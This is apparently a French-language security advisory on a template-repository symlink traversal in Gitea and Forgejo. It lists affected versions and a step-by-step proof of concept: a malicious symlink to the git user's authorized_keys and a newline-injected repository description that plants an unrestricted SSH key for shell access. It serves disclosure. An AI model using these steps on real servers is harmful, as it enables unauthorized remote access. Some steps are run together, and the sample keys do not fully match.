
La traversée de répertoire dans le traitement des modèles de dépôt de Gitea et Forgejo permet à des attaquants authentifiés à distance de traiter des fichiers arbitraires sur le système de fichiers, conduisant à une exécution de code à distance.
Ce travail est sous licence Creative Commons Attribution-ShareAlike 4.0 International License.
En examinant le code source de Forgejo et de Gitea pour mieux comprendre comment le templating est effectué, j'ai découvert une vulnérabilité qui permet à un utilisateur authentifié de créer un dépôt de templates malveillant pouvant être utilisé pour traiter des fichiers arbitraires sur le système de fichiers.
Lors de la création d'un dépôt basé sur le contenu Git du template malveillant, le template pourra étendre des fichiers arbitraires sur le système de fichiers.
Connaissant le chemin du répertoire personnel de l'utilisateur git (qui par défaut est /data/git dans l'image docker officielle), un attaquant peut étendre le fichier .ssh/authorized_keys de l'utilisateur git afin d'injecter une clé sans le paramètre command, qui peut être utilisée pour exécuter des commandes arbitraires ou un shell interactif.
Versions affectées : Gitea >= v1.11.0-rc1 && <= v1.24.6,
Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)
Composant affecté : Dépôts de templates
Cause racine : Déréférencement de lien symbolique lors de la lecture et de l'écriture des contenus des fichiers de template
L'attaquant s'authentifie en tant qu'utilisateur légitime
L'attaquant crée un dépôt de templates malveillant contenant un lien symbolique vers le fichier .ssh/authorized_keys de l'utilisateur git deviné et un fichier .forgejo/template qui référence le lien symbolique
L'attaquant ajoute une clé publique SSH à son compte avec un commentaire personnalisé se terminant par ${REPO_DESCRIPTION}
L'attaquant crée un dépôt référençant le dépôt de templates malveillant avec le templating du contenu Git activé et une description contenant un saut de ligne suivi d'une autre clé publique SSH
Les templates de Gitea/Forgejo lisent et templatisent le lien symbolique authorized_keys, ce qui fait que le commentaire de la clé publique précédemment définie est étendu à une entrée arbitraire correspondant à la description du dépôt de l'attaquant, sans le paramètre command
L'attaquant se connecte de manière interactive en tant qu'utilisateur git, en utilisant la clé injectée
Il est également possible pour l'attaquant de corrompre le fichier de configuration, la base de données SQLite ou de provoquer un déni de service en lisant des fichiers volumineux.
Installer et configurer une version vulnérable de Gitea/Forgejo
Enregistrer ou créer un compte pour l'attaquant en utilisant le compte administrateur
Se connecter avec le compte de l'attaquant
Générer deux clés SSH différentes : une pour Git et une pour SSH interactif
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
~/.ssh/attacker-git.pub en tant que clé SSH autorisée via l'interface Gitea/ForgejoLe commentaire de la clé doit être présent et ressembler à ceci :
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
Le fichier .ssh/authorized_keys de l'utilisateur git ressemble maintenant à ceci :
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
Créer un dépôt de templates malveillant en utilisant l'interface Gitea/Forgejo
Cloner le dépôt de templates et ajouter le lien symbolique malveillant et la configuration de template
# Clone the template repository
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template
# Create malicious symlink
ln -s /data/git/.ssh/authorized_keys
# When using Gitea, create Gitea template configuration
mkdir .gitea
echo authorized_keys > .gitea/template
# When using Forgejo, create Forgejo template configuration
mkdir .forgejo
echo authorized_keys > .forgejo/template
# Commit and push the changes
git add -A
git commit -m 'Initial commit'
git push
~/.ssh/attacker-ssh.pubLa description du dépôt doit ressembler à ceci :
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine
Le replaced sur la première ligne n'est pas nécessaire, mais vous devez vous assurer que le saut de ligne est toujours présent. Le commentaire attacker@machine à la fin de la ligne est également facultatif.
Le fichier .ssh/authorized_keys de l'utilisateur git résultant ressemblera à ceci :
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
~/.ssh/attacker-ssh et le client sshssh -i ~/.ssh/attacker-ssh git@localhost -p 222